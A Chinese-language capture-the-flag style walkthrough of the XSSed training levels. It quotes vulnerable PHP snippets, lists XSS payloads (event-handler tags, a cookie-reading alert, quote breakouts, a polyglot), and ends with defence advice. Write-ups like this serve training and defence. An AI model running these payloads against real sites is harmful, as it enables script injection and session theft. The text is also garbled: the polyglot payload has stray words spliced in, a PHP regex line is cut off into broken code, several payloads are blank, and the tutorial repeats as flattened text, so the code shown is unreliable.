XSSed通关教程
字数 914 2025-08-11 17:40:10

XSSed通关教程详解

1. Basic XSS (Level 1)

漏洞分析

漏洞代码段:

echo($_GET['q']);

直接将用户输入插入HTML页面,没有任何过滤。

攻击向量

  1. 基本弹窗

    <script>alert(/xss/)</script>
    
  2. 获取Cookie

    <script>alert(document.cookie)</script>
    
  3. A标签XSS

    <a href="javascript:alert('xss')">xss</a>
    
  4. 图片加载失败执行

    
    
  5. iframe框架

    <iframe onload=alert('xss')>
    
  6. SVG标签

    <svg onload=alert(1)>
    
  7. Video标签

    <video onloadstart=alert(1) src="/media/hack-the-planet.mp4" />
    
  8. Body标签

    <body onload=alert(1)>
    
  9. Style标签

    <style onload=alert(1)></style>
    
  10. Input标签

    <input onmouseover=alert(1)>
    
  11. 万能XSS Payload

    jaVasCript:oNclJavaScript XSSiCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e
    

2. JavaScript XSS (Level 2)

漏洞分析

漏洞代码段:

$q = $_GET['q'];
<script type="text/javascript">
var search_term = " $q";
</script>

输入未经过滤直接插入JavaScript代码段。

攻击方法

由于输入被插入到JavaScript字符串中,需要闭合两边的引号:

  1. 闭合引号执行代码

    a";alert(1);var q="a
    
  2. HTML标签注入

    
    

3. Filtered XSS (Level 3)

漏洞分析

漏洞代码段:

$id = str_replace('"', '&quot;', $_GET['id']);
$creditcard = $_GET['creditcard'];
$creditcard = preg_replace('/([^\s])([A-Za-z\creditcard);
print <<<END
<h1>Please Confirm Your Order</h1>
<div id="creditcard">$creditcard</div>
<script type="text/javascript">
var q = "$id";
document.write(q)
</script>
END;

关键点

  1. creditcard输入被严格过滤
  2. id输入仅转义了双引号
  3. 木桶原理:只要有一个可控输入位置成为插入点,其他输入的过滤再严格也无意义

攻击方法

  1. 发现隐藏输入

    • 页面有一个id变量默认值为123,属性为hidden
    • 将其改为text可显示输入框
  2. 利用JavaScript伪协议

    --><a href=javascript:alert(document.getElementById('creditcard').innerHTML);>click</a><!--
    
  3. 绕过注释限制

    • 闭合JavaScript中的注释
    • 使用document.write()函数插入代码

4. Chained XSS (Level 4)

攻击方法

基本弹窗Payload仍然有效:

<script>alert(/xss/)</script>

防御建议

  1. 输入验证

    • 对所有用户输入进行严格验证
    • 使用白名单而非黑名单
  2. 输出编码

    • 根据输出上下文进行适当的编码(HTML, JavaScript, URL等)
  3. 内容安全策略(CSP)

    • 实施严格的CSP策略
    • 限制内联脚本执行
  4. 使用安全函数

    • 避免使用innerHTMLdocument.write()等危险函数
    • 使用textContent等安全替代方案
  5. 框架安全特性

    • 使用现代框架(如React、Angular、Vue)的内置XSS防护

本教程展示了XSS攻击的多种形式和绕过技术,强调了即使部分输入被严格过滤,只要有一个可控点就可能被利用。防御XSS需要全面考虑所有输入点,并实施多层防护措施。

XSSed通关教程详解 1. Basic XSS (Level 1) 漏洞分析 漏洞代码段: 直接将用户输入插入HTML页面,没有任何过滤。 攻击向量 基本弹窗 : 获取Cookie : A标签XSS : 图片加载失败执行 : iframe框架 : SVG标签 : Video标签 : Body标签 : Style标签 : Input标签 : 万能XSS Payload : 2. JavaScript XSS (Level 2) 漏洞分析 漏洞代码段: 输入未经过滤直接插入JavaScript代码段。 攻击方法 由于输入被插入到JavaScript字符串中,需要闭合两边的引号: 闭合引号执行代码 : HTML标签注入 : 3. Filtered XSS (Level 3) 漏洞分析 漏洞代码段: 关键点 creditcard 输入被严格过滤 id 输入仅转义了双引号 木桶原理:只要有一个可控输入位置成为插入点,其他输入的过滤再严格也无意义 攻击方法 发现隐藏输入 : 页面有一个 id 变量默认值为123,属性为hidden 将其改为text可显示输入框 利用JavaScript伪协议 : 绕过注释限制 : 闭合JavaScript中的注释 使用 document.write() 函数插入代码 4. Chained XSS (Level 4) 攻击方法 基本弹窗Payload仍然有效: 防御建议 输入验证 : 对所有用户输入进行严格验证 使用白名单而非黑名单 输出编码 : 根据输出上下文进行适当的编码(HTML, JavaScript, URL等) 内容安全策略(CSP) : 实施严格的CSP策略 限制内联脚本执行 使用安全函数 : 避免使用 innerHTML 、 document.write() 等危险函数 使用 textContent 等安全替代方案 框架安全特性 : 使用现代框架(如React、Angular、Vue)的内置XSS防护 本教程展示了XSS攻击的多种形式和绕过技术,强调了即使部分输入被严格过滤,只要有一个可控点就可能被利用。防御XSS需要全面考虑所有输入点,并实施多层防护措施。